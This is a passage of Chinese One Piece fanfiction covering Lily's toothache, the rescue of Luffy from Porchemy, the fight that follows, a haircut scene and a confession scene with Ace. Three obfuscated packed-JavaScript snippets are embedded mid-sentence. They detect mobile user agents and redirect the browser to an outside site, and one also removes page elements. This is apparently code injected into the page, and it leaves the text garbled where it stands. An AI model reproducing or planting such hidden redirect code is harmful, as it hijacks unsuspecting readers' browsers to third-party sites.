萨博打算直接把那颗牙拔掉,但是家里没有合适的工具,他折腾了半天,差点把我的嘴巴弄脱臼。我哭得天昏地暗,萨博连忙背上我去边镇找医生。医生都被我俩的大胆操作气笑了,他给我处理好出血的位置,开了一些消肿止痛的药,嘱咐萨博等我消肿后再去找他拔牙。 今天早上,我一边被牙痛折磨得直掉眼泪,一边在床上打滚耍赖:“既然今天是我的生日,我就一定要吃蛋糕!了不起吃完蛋糕以后多吃几片止痛药!蛋糕,蛋糕,我要吃蛋糕!” 萨博坐在床头好声好气地哄我:“等拔完牙再吃吧,莉莉,到时候我给你买三个蛋糕,让你一次性吃个够,好不好?” “啊啊啊,我才不要!今天吃不到蛋糕我马上就会死掉!”我开始尖叫。 萨博被我闹得没办法,只好去边镇给我买蛋糕和止痛药。 我等了好久,没等到蛋糕,却等到了慌慌张张抱了一大堆“海贼储备”回来的萨博和艾斯。 “你们怎么把财宝都拿回来了?”我捂着腮帮子,口齿不清地问。 “藏财宝的地方暴露了,我们在转移财宝!”艾斯把装着财宝的纸箱扔进山洞里,“莉莉,你也来帮……”他看见我潮红的脸蛋,皱起眉:“去床上躺着,你有好好吃药吗?” “吃了,可能待会才会起效吧。” “抱歉莉莉,蛋糕被路飞那个小鬼吃掉了。等处理好财宝的事我再给你买,好吗?”萨博把满满一箱的财宝放到刚才艾斯扔下的纸箱旁边。 我脑袋上疑惑地冒出一个问号:“这里面有路飞什么事?” 艾斯拉上还想和我说话的萨博,飞快地跑了出去。 “没时间解释了,之后再说!” 25. 牙痛和路飞 我呆呆地看了好一会儿萨博和艾斯离开的背影,抬手打了个呵欠。 药力开始起效了。眼皮变得沉重,脑袋也晕乎乎的,好想睡觉…… 但是那堆积攒了整整五年的财宝体积可观,数量庞大,不是萨博和艾斯一次两次就能搬运完的,我也得去帮忙才行。 我使劲拍了拍自己的脸颊,想让自己稍微清醒一点,却忘了我的牙龈和脸颊还肿着,剧烈的疼痛宛如闪电般击中了我的神经,我猝然跪倒在地,手背痛得蹦出了青筋。 人是瞬间清醒了,命也差点痛没了。 “啊啊啊,痛死我了!”我愤怒地锤了一下地面,龇牙咧嘴地爬起来,朝萨博和艾斯离开的方向追过去。 我在半路上遇到了第二次转移财宝的萨博和艾斯,然后被艾斯骂了。 “都说让你回床上躺着了,别来添乱!” “我是牙痛,又不是手痛脚痛!”我拉下眼皮对艾斯做了个鬼脸,脚步不带停地继续往前跑。 “不要太勉强自己,莉莉。”身后传来萨博担心的声音。 我往后挥了挥手,语气明显软下来:“不会啦,我没问题。” 来来回回跑了七八趟,我们在途中交错几秒又分开,然后分别往相反的两个方向前进,完全来不及说几句话。 跑到第九趟的时候,天空泛起橙色的暮光,已经是黄昏时分了。我在原来藏财宝的地方遇到了艾斯,却没有见到萨博的身影。 “他去垃圾场打探情报了。”艾斯把树洞里仅剩的财宝抱起来放进纸箱里,如释重负地抬手擦掉额头上的汗珠,“这些就是最后的财宝了,真幸运,伯尔杰米居然一直没有找过来。” “伯尔杰米?这个名字好耳熟。” “是布鲁杰姆的手下。” “什么!你们为什么会惹上布鲁杰姆一伙?”我倒吸了一口凉气。那些家伙现在可是整个不确定物终点站最凶残的恶势力集团。 “今天下午不小心抢了他们的钱。”艾斯的语气很平静,就好像在说晚饭吃烤鱼一样随意淡然。他的语气中甚至带着一丝轻蔑:“谁知道那种软弱无能的小混混是布鲁杰姆的手下。” 你倒是给我心虚一下!我叹了口气。算了算了,常在河边走哪有不湿鞋,反正也不是第一次招惹上这种恶势力集团,大不了这次多躲几个月。我换了个问题:“路飞呢,他为什么吃掉了我的蛋糕?” “那个小鬼……”艾斯停顿了一下,类似担心的神色在他眼中一闪而过。然而在那之后,艾斯的脸就被恼怒完全占据了,他咬牙道:“如果不是他乱跑乱叫,我们藏财宝的地方根本不会暴露!” 艾斯扛着打包完毕的纸箱跳下粗壮的树枝,向我看过来,目光落在我肿得像是含了个苹果的腮帮子上:“你的牙齿怎么样了,还痛吗?” “还行吧。”我下意识用舌头舔了一下肿胀的牙龈,随后再次被痛得脸色煞白。 我还想再继续问路飞的事,艾斯把我拎起来甩到背上,嘴上烦躁地抱怨:“真是个给人添麻烦的家伙。” 我搂住艾斯的脖子在他背后趴好,含糊不清地反驳:“我又没让你背我。” 艾斯哼了一声,没有接话。他一只手托着我的屁股,另一只手扛着装财宝的纸箱,动作迅捷地在林间奔跑起来。 等那股钻心的疼痛缓解了一些,我继续问路飞的事,然后从艾斯那里得知了整起事件的经过。 路飞从达旦家一路追着艾斯来到了不确定物终点站,艾斯在边镇门口抢了布鲁杰姆的手下,把钱和追在他身后的路飞都带到了他和萨博藏海贼储备的地方。 为了保证财宝不被人发现,艾斯和萨博打算把路飞杀掉。路飞害怕得哇哇大哭,声音引来了伯尔杰米和他的手下。他们只好先解开绑住路飞的绳子,带着路飞藏起来。 本来他们三个藏得好好的,路飞却看到了被萨博不小心丢在路中间的蛋糕。路飞跑过去把蛋糕吃了,同时也被伯尔杰米逮了个正着。路飞当着伯尔杰米的面说自己是艾斯的朋友,伯尔杰米一听,觉得找到了寻回钱财的希望,把路飞带去了垃圾场那边,打算对他严刑拷问,逼他说出自己知道的一切。 “可恶,别乱动!”艾斯向前趔趄几步,差点摔倒。他一把拽住从他背上挣扎着跳下来的我,紧抓着我的左手腕高高举起,“你突然发生什么疯!” “我要回去救路飞,那伙人可是布鲁杰姆的手下!——放开我,艾斯!” 艾斯不耐烦地解释:“救什么救,他只要乖乖招供,伯尔杰米就会把他扔开,转头来找我们。谁会闲得没事和那种流鼻涕的小鬼纠缠,你搞清楚,现在有危险的是我们三个!” “问题是——没有人过来找我们,一整个下午都没有!艾斯,你知道这意味着什么吗?”我的神色逐渐凝重。 艾斯像是才想到这种情况,惊愕地瞪大眼睛。 这时,萨博从山路尽头气喘吁吁地跑了过来,他满头大汗,神色与我一样凝重,震惊又费解地大声对我们喊:“艾斯——那个叫路飞的家伙,直到现在都还没招呢!我还以为那个又笨又爱哭的家伙肯定一下就招了,简直莫名其妙!这样下去那个家伙……” 艾斯怔怔地松开了抓着我的手,额头沁出一颗颗冷汗。 “别发愣了,快走!去救他!”我拽了艾斯一把,拔腿就跑。 路飞,你可千万不要出事啊! * 我们三个用生平最快的速度往伯尔杰米在垃圾场的据点冲去,路上遇到了几个好心的拾荒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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幽暗的火焰自艾斯阴霾的黑瞳中升起,他凶恶地紧盯着比他高大好几倍的海贼,声音决绝到接近狂妄的地步:“一旦交锋,我绝不逃走!” 伯尔杰米听了艾斯的话,顿时怒火中烧,双眼翻涌起杀意:“什么,你这个臭小子!” “说得好,狗东西。”我气极反笑,小心地把路飞放到角落,从身后拿出系着粉色蝴蝶结的钢管摆好架势,“那我也不走!” “啊啊,你也开始了,莉莉!”萨博抱住脑袋,崩溃地对着我们怒吼,“现在是闹脾气的时候吗,对方和镇上的小混混可不是一个等级的!” 26. 战斗和绷带 见艾斯和我都打定了主意不走,萨博一边咬牙念叨着:“气死我了,一个两个都只会乱来!”,一边站到我们身边,准备和我们共同应敌。 伯尔杰米面目狰狞地举起刀:“要是输给几个小孩子,我就不当海贼了!” “我们会让你放弃的!”萨博和艾斯高高跃起,从正面向伯尔杰米发起进攻。 我猛地一扇羽翼,化作一道雪色的残影,从侧面绕到伯尔杰米身后。 当伯尔杰米在正面应对萨博和艾斯的攻击时,我就在他的身后偷袭他的后脑勺、后颈、脚踝等相对脆弱的地方。 我们三个经常在波尔戈山这样前后夹击巨大的野兽,配合得非常默契。 但伯尔杰米毕竟不是四肢发达头脑简单的野兽,他战斗经验丰富,懂得用大脑思考,能够在陷入不利的境地后分析利弊、判断局势。和我们纠缠了十多分钟屡屡受挫后,他开始集中精力对付三人中最弱又最会偷袭的我。 我没有跟上突变的节奏,不慎被他一脚踢中脑袋,重重撞到墙壁上,溅起一大片石屑和木屑。蝴蝶结钢管脱手而出,飞出去老远。 我头晕眼花地吐出一口血,突听头顶风声呼啸,赶紧狼狈地打了个滚,堪堪躲过伯尔杰米挥下的大刀。 “莉莉!”萨博和艾斯一齐惊叫。 黑色的发丝在空中飞散。锋利的刀刃削断了我左边的辫子。 萨博和艾斯挡在我身前,眼中凶光怒涨。 伯尔杰米脸红筋暴,奋力击退萨博和艾斯的猛烈攻击,抓住把他们击飞出去的空隙再次向我挥下刀刃,狞笑道:“去死吧,长翅膀的臭丫头!” 生死之际,肾上腺激素狂飙,我感觉自己的心跳声和呼吸声一同加快,眼前的世界慢了下来。刚才吐出的血液开始震颤,如同被磁石吸引的铁屑,向着我的掌心聚拢,变化成一根根尖利的细针。 我振翅飞起,脸颊被刀风划破,洒落出一串成熟醋栗似的深红血珠。足尖轻巧地踏上那把仍在下劈中的大刀,我在羽翼的加速下冲向伯尔杰米的肩膀,将手掌中血色的细针挥向他怒瞪的双目。 既然不能逃避,那就赌上性命去夺取胜利! 伯尔杰米抓住了我的脖子,血色的细针也在同时刺入了他的眼睛。 “啊啊啊啊我的眼睛!!!”伯尔杰米发出凄厉的惨叫,他骤然捏紧我的脖子,将我高高举起,向着地面猛摔,狂怒道:“臭丫头,我要把你碎尸万段!” 离我更近的萨博及时赶到,用自己的身体当做缓冲接住了我。剧烈的耳鸣中,我隐约听见萨博闷哼了一声。 晚来一步的艾斯见大刀再次落下,手中钢管的强度又无法招架伯尔杰米的大刀,只得将抱着我的萨博踢飞出去,自己则闪避开那把狂乱挥舞的大刀,举起钢管冲上去。他双眼中燃烧着暴烈的怒火:“我要杀了你,混账东西!” 萨博护着我踉跄落地,他将我推向路飞躺着的角落,抬起手背狠狠擦去嘴角的鲜血,同样怒不可遏:“莉莉,接下来的事交给我和艾斯!我绝对不会放过这个混蛋海贼!”话音未落,他转身加入战局,攻势比之前狠厉了数倍。 肾上腺激素消退后,疼痛汹涌袭来,我一时分不清后背、脸颊、牙龈、脖子这几个地方哪个地方更痛。我收回弯折的羽翼,仰头栽倒,手臂和大腿开始不受控制地痉挛——可能是后怕的心理,也可能是用力过猛造成的肌肉酸痛。 失去双眼的野兽会陷入狂暴状态,攻击力激增。这种时候应该以躲避游走为主,在保证自身安全的情况下不断消耗野兽的体力。等到野兽耗尽体力,就可以轻而易举地击杀野兽。 这些明明都是萨博教给我的狩猎技巧,但在此时此刻他却不是这样执行的。这个家伙老是埋怨艾斯只知道蛮干,总是像个笨蛋一样从正面发动攻击,他脑袋发热的时候不也是这个德性吗。 我沉默地忍耐着疼痛,倾听着不远处武器相撞的金铁交鸣之声,还有其中偶尔夹杂的一两声痛呼和咒骂,努力调整自己的呼吸,试图让身体快点恢复行动能力。 被绳索绑住双手的路飞像只毛毛虫似的一弯一拱地扭动到我跟前,他拿脑袋顶了顶我的肩膀,抽抽噎噎地低泣:“你不要死啊莉莉……” “……”我好像有点体会到当初艾斯的心情了,别随随便便咒人啊笨蛋。但是我没办法回答他——左边的脸颊和牙龈肿得老高,上面还有一道正在流血的伤口;脖子险些被伯尔杰米捏断,内部和外部好像都肿了起来。别说开口讲话了,我连呼吸都有些困难。我勉强抬起颤抖的手臂,拍了拍他的脑袋,算作无声的安慰。 路飞的抽噎声一停。他扭来扭去地尝试了好几次,总算用跪坐的姿势挺直了腰身,低下头来观察我的样子。 看清楚我现在的模样后,他又开始啪嗒啪嗒地掉眼泪,透明的泪水冲开他脸上的灰尘和血迹,变成脏兮兮的淡粉色,一颗接着一颗、带着滚烫的温度砸向我的脸庞。路飞憋屈地咬着嘴唇,用哭腔喊我的名字:“呜呜呜莉莉……” 不要哭啦,又不是你的错。 * 人类果然比野兽难对付多了。 伯尔杰米倒下的时候,萨博和艾斯都受了不轻的伤。直到确定伯尔杰米真的失去了意识,他俩才脱力地倒向地面,半死不活地喘着粗气。 短暂地休息了五六分钟,他们相互拉扯着爬起来,萨博过来检查我和路飞的伤势,顺便解开了绑住路飞的绳索;艾斯则从乱七八糟的废墟中翻找出处理伤口需要的药物,拿过来分了萨博一半。 “简单处理一下就好,这个地方不能久留。”萨博咬开酒精的瓶口,用酒精冲洗我伤口处的血污和杂质。我痛得意识都模糊了,差点当场昏死过去。 负责给路飞处理伤口的艾斯比萨博凶残多了。他大概是觉得路飞全身都是伤口,挨个处理起来太麻烦了,直接把满满一瓶酒精都泼到了路飞身上。 路飞整个人都变成了惨白色,随后发出震天的哭喊:“好痛!!!” “吵死了,闭嘴!”艾斯恶狠狠地骂了一句,扯过绷带给路飞包扎,手法一如既往的野蛮粗暴,竟然把路飞连人带衣服裹进了绷带里。 此时萨博正在纠结:“莉莉,这里打个蝴蝶结会不会比较可爱呢?” 够了,再可爱也是绷带!给我认真包扎,别搞这些花里胡哨的东西! * 满月高悬在幽蓝的夜空之中,明亮得仿佛是某种野兽的眼睛。 从伯尔杰米的据点小屋离开后,我们四个回到了萨博和我的家。 大概是安全的环境让路飞紧绷的神经得到了放松,他开始嚎啕大哭:“呜呜呜吓死我了,还以为会死掉呜哇哇……”声音洪亮有力,完全不像被严刑拷打了一个下午的样子。 萨博看了路飞一眼,又看向蔫巴巴的我,眉心开始慢慢皱起来。他蹲在我面前,伸手想要捧住我的脸,又顾忌着我肿胀的左脸和上面的伤口,转而按住我的肩膀,担心地问:“莉莉,你怎么一直不说话?很难受吗?” 嗯,痛得说不出话,脑袋也晕乎乎的。虽然比起受伤更重的路飞,我只是被伯尔杰米踹了一脚、掐了一下脖子,但我还是第一次受伤到这种程度,没和路飞一起痛哭流涕已经耗光我所有的自制力了。 我本来想点头的,但是萨博知道我难受也没有办法吧。他把止痛药连着蛋糕一起丢了,现在这个时间药店也关门了,就算有经营夜晚生意的药店开着门,路上也可能遭遇布鲁杰姆一伙人…… 我摇了摇头。 “是牙齿掉了,怕说话漏风吗?”艾斯拿着调试完毕的新钢管跳下高地,走到我和萨博身边。他从短裤口袋里掏出一个白白的小小的东西,问我:“这个叫前什么牙来着,你还要不要?” 诶,这是……牙齿? 我舔了一下前磨牙的位置,发现那里果然空了一块。我惊疑不定地回想起我被伯尔杰米踹到脑袋的那一幕,我记得当时吐了口血来着。牙齿难道是在那个时候掉的,然后混在血里被我吐了出来?……完全没有印象。 萨博起身从艾斯手上拿过那颗牙,他端详了片刻,露出恍然的神色:“哦——还真是莉莉的前磨牙。”他拍了两下艾斯的肩膀,佩服地说:“真亏你能在那种乱七八糟的地方把莉莉的牙齿捡回来啊,艾斯。” “好痛!”艾斯倒吸了一口凉气,使劲挥开萨博的手,“喂,注意下我的伤口!” 萨博笑嘻嘻地挠了挠后脑勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222180|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,毫无诚意地道歉:“对不起啦。” 我看到萨博把我的牙齿放进了他的口袋里,他留着那种东西干什么,直接扔掉不就好了。而且——他们为什么能认出那是我的牙齿?!也存在着伯尔杰米和小混混们被打掉牙齿的可能性吧。 算了,全身上下都很痛,懒得去想这种无关紧要的事情。我按住左边的嘴巴,用右边的脸小心地打了个呵欠。好想睡觉……换做平时,现在这个时间我都躺到床上了。 视线暗了一些,是艾斯在我面前俯下身,伸出手来摸我的额头。他感受了一下,惊道:“好像有点不对劲,萨博,这个家伙好烫!” 萨博也过来摸了一下我的额头。 “糟糕,莉莉发烧了!”他赶紧把我抱起来,一边快步往家里走,一边嘱咐艾斯:“我先带莉莉去休息,家里应该还有一些消炎药。艾斯,你去看看路飞,别让他一直哭。对了,他也伤得不轻,再仔细检查一下他的伤势,没问题吧?” “啰嗦。” 迷迷糊糊中,我听见艾斯对路飞大吼了一声,然后开始骂他:“真让人烦躁,吵死了!你究竟要哭到什么时候!我最讨厌胆小鬼和爱哭鬼了!” 你想用什么方法让路飞不哭啊?! * 第二天,我在达旦的大叫声中惊醒过来。 “什么,你们惹上了布鲁杰姆一伙!!!”她痛苦地捂住脸,“我就知道你们这群小王八蛋迟早要惹出大祸!” 我怎么在达旦家?我揉着眼睛坐起身,看向周围。房间里站满了人,门口是达旦和她的小弟们,萨博站在达旦面前,身后是艾斯和路飞。 萨博用开朗的声音大声说:“总之,以后我和莉莉就拜托你啦!” “莉莉以后都住在这边我没有意见,但你是怎么回事,萨博!谁要再养一个成天惹是生非的混小子啊!艾斯和路飞这两个家伙已经够让我头痛了!” “嘿嘿,别这么说嘛,达旦,我们都认识这么久了。而且我也会帮忙照顾路飞哦。”萨博几步跑到我面前,把还没有搞清楚状况的我高高举起来,满脸都是骄傲。“你看我和艾斯把莉莉养得多可爱!” 艾斯淡定地点了点头,表示他认同萨博的这句话。 达旦的目光落到我身上,她抽了抽嘴角,无语地吐槽:“身上都是绷带的这种可爱吗?” 他们俩同时露出了心虚的表情。 萨博强撑着笑了两声:“啊哈哈,这次是意外啦。” 达旦凶神恶煞地盯着萨博看了良久,最终还是妥协了,她偏过脸长叹了一口气,扬声道:“艾斯、莉莉、路飞、萨博,我会给你们提供住的地方,你们平时给我好好干活!” “谢谢啦,达旦!”萨博露出灿烂的笑容。 达旦身后的小弟发出阵阵哀嚎。 “老大,别这么快就同意啊!” “就算是小莉莉的哥哥也不行!” “布鲁杰姆那伙人可不是好惹的,我们马上就会被找出来杀掉!” “都给我闭嘴!我已经做好决定了,不许提出质疑!”达旦对着小弟们一通狂吼,气势汹汹地走出了儿童房。 她一走,山贼们也跟着她一哄而散。儿童房再次变得宽敞起来。 萨博把我放下,摸着我的额头感受了一下温度,满意道:“很好,不烧了。果然好好睡一觉能解决所有的问题。” 我感觉萨博的话不太对,但是从经验来讲,他的话又很有道理。因为睡了一觉之后,我的脸和脖子都消肿了,牙龈也不痛了,身上的伤势除了还残留了一些淤青和伤痕,已经恢复了大半。这就是世界之间的差异吧,我也是时候抛开过去的旧观念,开始塑造新的世界观了。 我仰头看向萨博,疑惑地问:“我们以后要住在达旦家了吗,萨博?” “嗯嗯,昨天萨博说住在原来的地方太危险了,所以要搬过来和我们一起住。”路飞跑过来拉住我的手,高兴得又蹦又跳:“莉莉,我们以后天天都可以一起玩啦!” 萨博点头:“就是路飞说的这样。” 我看了艾斯一眼,发现他没有露出抗拒的神色。 看来在我睡着的时候,路飞成功和艾斯交上朋友了呢。 27. 剪头发和偷小孩 洗漱的时候,达旦拿了一把剪刀进来找我。她叼着没有点燃的烟,低头打量我左边参差不齐的断发,嫌弃地皱起眉头:“怎么搞成这个样子,莉莉,那两个臭小子真的有好好照顾你吗?” “有好好照顾啦,一直都在很努力地照顾我。”我为我的两个笨蛋哥哥强行挽尊,“头发的事情是意外。” “身上的伤也是意外?” “……是。” “呵,口径倒是挺统一的。随你怎么说,反正最后倒霉的又不是我。”达旦抬手在我肩膀的位置比划了一下,“给你剪到这个位置怎么样?长度刚好还能扎个小马尾。” 我咬住嘴唇,有气无力地点了点脑袋:“嗯,麻烦你了,达旦。” 被伯尔杰米击中的时候,身上很痛,那时候我一点都不想哭,只想狠狠揍回去。 现在听着不断响起的“咔嚓”声,看着我的头发一片片落向地面,明明没有任何痛苦的感觉,我却红了眼眶,鼻尖也酸酸的。 我好不容易才留长的头发……萨博前几天专门买了一本教授如何编发的书,说要好好学习上面的技巧,以后每天都给我梳个不一样的发型呢。 我努力平复急促的呼吸,试图忍住眼泪,但眼泪还是像是断了线的珠子一样从我的眼睛里滚落下来。 达旦动作一顿:“那个削断你头发的家伙怎么样了?” 我抽了抽鼻子:“你说伯尔杰米吗,被我们狠狠揍了一顿,死了三分之二。” “那就好,当然不能放过那个家伙!”达旦先是赞同地点头,然后她反应过来伯尔杰米这个名字代表着什么,她的五官扭曲成了一团,崩溃地低吼:“你们到底清不清楚自己惹上了什么人,那可是布鲁杰姆一伙!一群丧尽天良、无恶不作的海贼!光是抢了他们的钱倒也好说,还可以勉强糊弄过去。你们居然跑去把他的手下揍了一顿!这不是赤裸裸的挑衅嘛!他们绝对会把你们这群小鬼全部找出来杀掉!我们这群山贼也会被你们牵连,最后一个都逃不过……啊啊,我真是倒了八辈子血霉遇到你们四个小混蛋。” 她是怎么做到一边张大嘴巴吼叫,一边维持香烟不掉的? 我被逗得破涕而笑:“达旦,谢谢你愿意暂时收留我和萨博。在我心里,达旦就像我的家人一样,我超喜欢达旦哦。” “啰,啰嗦!我才不吃你这套呢,花言巧语的臭丫头!——把头转过去,我要修整这边的头发了!” 我在镜子里看到达旦脸红了。明明就很吃这一套嘛。艾斯也是这个样子,每次我对他说我喜欢他,他都会装出一副凶巴巴的样子让我住口,不准我看他,然后悄咪咪脸红。 我可擅长对付这种口是心非又容易害羞的人了,哎嘿嘿。 女子浴室的门被推开了一条小缝,路飞探进脑袋:“莉莉,你还没好吗?” 紧接着,萨博和艾斯的脑袋出现在了路飞脑袋的上方。 达旦脑门上蹦出一个鲜红十字:“喂,进来之前要先敲门!万一我在给莉莉洗澡怎么办,没有教养的臭小子们!” 艾斯皱了一下眉毛,语气里带着警告的意味:“你给她洗澡?这个家伙可是很脆弱的,达旦,不许你随便碰她!” 这个动不动就扯我脸颊的狗东西在说什么鬼话呢,我都要气笑了。 “确实,进女子浴室之前应该先敲门。”萨博反思了一秒,随后又理直气壮起来,“但是莉莉是我妹妹,有什么不能看的。” “我!我可以陪莉莉一起洗澡,”路飞举起手,兴冲冲地说,“玩那种在头发上堆泡泡的游戏!” 路飞年纪还小我就不说了。但是你都十岁了,萨博!别研究航海术了,给我好好补习性别常识! “达旦,你能不能找个人教一教他们?”我无力地按住额头。 “他们三个像是那种能够静下来听别人教导的人吗?” “……”你说得好有道理,我无言以对。 “喂,臭小子们!”达旦对门口的三个家伙凶恶地吼叫,“不管你们有什么理由,在我家里就得遵守我的规矩!现在给我把脑袋缩回去,关上门在外面安静等着!” “小气。”路飞做了个鬼脸。 艾斯不但没有把脑袋缩回去,反而把门推得更开了。他双手环胸,一脸欠揍的样子:“你不是早就不管我了吗,凭什么现在要我听你的话,臭老太婆。” 萨博笑嘻嘻地绕过艾斯跑进来:“达旦,我就站在旁边,保证不捣乱。我想学一下怎么给莉莉剪头发。” 达旦的脸剧烈地抽搐了一下,她露出一个黑沉沉的笑,把剪刀递给我“先帮我拿一下,莉莉”,然后挽高袖子举起拳头朝他们三个冲了过去。 “给我去死吧,三个小王八蛋!!!” “砰!” “砰!” “砰!” 三声巨响后,达旦把他们扔到门外,用力关上了房门。 “真是一群气人的家伙。”达旦鼻子里喷着气,余怒未消地走回我身边,继续给我修理头发。 “他们昨天才受了伤,你没有太用力吧?”我有点担心。 “喂,你站在哪边啊,莉莉?” 我偷看了一眼达旦不妙的脸色,小声问:“你要听实话吗?” “……不用了。” 达旦把自己的头发打理得很好,她剪头发的手艺也很不错。 我踮着脚踩在凳子上,双手扶着洗手池的台面,凑到镜子前面仔细观察我现在的发型,满意得笑弯了眼睛:“好像小樱的发型哦。”除了没有头顶的两根呆毛,完全就是一模一样嘛。 我现在一点都不难过了,因为这个超可爱的发型。 “小樱,那是谁?” “是一个会魔法的小女孩。” “绘本上的小魔女啊。” “唔……也可以这么说吧。” 达旦扯下围在我脖子上的大浴巾,抖了抖上面的碎发,找了个勉强算得上干净的角落用来擦我脸上和脖子上的发茬。擦了半天,发茬越擦越多。她不甘愿地嘟囔:“原本想少洗一条毛巾来着。” 达旦拍了拍我的肩膀,嘱咐我坐在这里等她,她要去外面拿条新毛巾。 在她走出门的十秒后,三个脑袋从门缝探进来。 你们怎么又来了…… 萨博抓着门板嘿嘿直笑:“换了新发型的莉莉更可爱了。” “莉莉,我们等了你好久哦,肚子都饿扁了。”路飞蔫巴巴地摸了摸肚子。 艾斯侧着脑袋听了听动静,直接跑到我身边。“你还坐在这里干嘛,已经剪好头发了吧。” “达旦说让我在这里等她,脸上和脖子上还有发茬没擦干净。” “那种东西跳进水里泡一泡就没了。快走,我们都等你半天了。”他不由分说地向我伸出手,看起来像是要抓着我的后领把我拎起来。手伸到一半,艾斯又改了主意,俯下身把我抱起来。 我环住艾斯的脖子,仰起脑袋问他:“我的新发型好看吗?” “有什么好不好看的,不就是从长头发变成短头发了吗?” 夸我一下会怎么样啦!我气呼呼地竖起眉毛,提高声音向着达旦离开的方向大叫:“有人偷小孩啦!” “喂,你这个家伙!”艾斯慌了。他想要捂住我的嘴,但是他的左手托着我的腿弯,右手搂着我的背,哪只手都不好直接放开。 “萨博、路飞还有艾斯,又是你们三个!”听到声音的达旦面目狰狞地冲了过来。 “带上莉莉快跑,艾斯!”萨博哈哈笑着第一个溜了。 艾斯定下神,抱着我飞快跟上萨博。他压着眉头凶巴巴地冲我喊:“你给我等着!” 我对他做鬼脸,用他刚才的话来气他:“我可是很脆弱的,你想对我做什么?” 路飞在原地呆呆地眨了眨眼睛,迈着小短腿追在最后面:“等等我啦——艾斯,萨博!” * 萨博在往前奔跑的时候出声询问:“接下来先去做什么呢?” 感觉今天要做的事有好多。比如从家里搬一些日常用品到达旦家;清除掉山洞周边我们生活居住的痕迹;去边镇探听布鲁杰姆那边的动向…… 头顶上传来艾斯的声音:“首先……” 路飞努力摆动着缠满绷带的双手跑到萨博和艾斯中间,他笑嘻嘻地跳起来:“吃饭!” 萨博侧过头看了他一眼,轻笑着开口:“好吧,先去吃饭。” “找个水潭抓鱼吃吧,我要带莉莉去洗澡。”艾斯把我举起来抖了两下,抖出来一大片发茬。“还有好多碎头发钻到我衣服里了,痒死了。” “谁让你不等达旦帮我清理就直接抱走我,现在我也很不舒服好不好。”我努力伸长手臂勾住艾斯的脖子,重新和他贴近,然后故意用脑袋在他胸口磨蹭,把更多的发茬蹭到他身上。 艾斯没办法躲闪,又不敢用力推开我,只好按住我的脑袋不让我动弹。他恼火地说:“别仗着自己受伤了就这样嚣张,小心我真的揍你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这种时候还要提萨博,你真是……”艾斯暴躁地龇了一下牙,看起来像是一只被侵犯了领地即将发起攻击的野兽。肩膀上的力气逐渐加大,他提高了音量,对我凶恶地低吼:“喜欢?!那种软弱又没用的东西算什么啊!你根本什么都不知道!莉莉,一旦你知道我流着谁的血,背负着怎样的仇恨来到这个人世,我一直以来隐藏的真面目……” “我爱你?” 艾斯呆愣地张着嘴,仿佛被我的话重重撞了一下脑袋,凶狠阴沉的眼神都涣散了几分。 春风裹挟着阳光的温暖徐徐吹来,扰动微卷的黑发,让平静的潭水泛起粼粼波光。 “我——爱——你——”我一字一顿、清晰明了对艾斯说出这句话。“喜欢不够的话,那爱总行了吧。我根本不关心你是谁的孩子,背负着什么,藏着哪种类型的阴暗人格,那些东西关我什么事啊!我爱着是站在我面前的你!” 我把艾斯没轻没重的手推开,越说越气。干嘛纠结这种莫名其妙的东西,艾斯的脑子果然有毛病。 “虽然你这个家伙脾气很坏,总是凶巴巴地对我,嘴里没有一句好听的话,但是你会在我哭的时候给我擦眼泪,把自己也想吃的糖留给我,不厌其烦地教我狩猎和打架的技巧,宁愿自己受伤也要保护我……一直以来都笨拙又粗暴地照顾着我。 艾斯,你扪心自问,在你为我做这些事情的时候,你在乎过我是什么人,我的父母是谁,来自哪里吗? 我爱你,就像你爱我一样。我不准你质疑我的感情!” 我很严肃地补充:“对了,事先声明一点。把喜欢换成爱的话,我最爱的人还是萨博,你依然是第二名。” 艾斯将手掌握成拳,一点点攥紧。嘴唇张张合合好几次后,他终于艰涩地开口:“即,即使我……我是……” 我偏过脑袋,耐心地等待他接下来的话。 "看到艾斯和莉莉啦!——啊咧咧?!"高速奔跑中的路飞不慎踢到了路上的石头,稀里哗啦滚成了一个冲击力巨大的圆环。 艾斯陷在自己的思绪中,没有察觉到背后撞过来的路飞。而我被艾斯的身体挡住了视线,没有看到路飞冲撞的方向。 下一秒发生的事情可想而知——路飞撞上了艾斯,艾斯撞上了他身前的我,我们三个下饺子一样摔进了水潭。 萨博干净清爽地站在水潭边缘,咧着嘴角发出幸灾乐祸的声音:“厉害呀,路飞。” 28. 鳄鱼和胖次 春末时分,气温已经接近二十五六度了,潭水并不冰冷。 我没着急浮上去,泡在水里揉搓了两把头发,控制水流冲走我身上的发茬。身周的水体传来波动,是艾斯游到了我身边。他一把抓住我的手腕,拽着我游出水面。 “没事吧?”艾斯的睫毛上挂着不少细小的晶莹水珠,当他垂下眼睛看我的时候,水珠滴滴答答地往下坠落,有好几颗蹦到了我的鼻尖。 我摇了摇头,一边往四周张望,一边提高声音问站在岸边的萨博:“刚才是路飞吗?他是不是也掉下水了?” 萨博指着不远处翻滚起大片水花的水面,嘴角抽搐了一下:“在那里,已经沉下去了。原来他真的不会游泳。” 艾斯听了萨博的话,露出一个恼怒中带了点无语的表情:“那个冒失的白痴!”他松开我的手再次扎进潭水,向着那个方位游去。 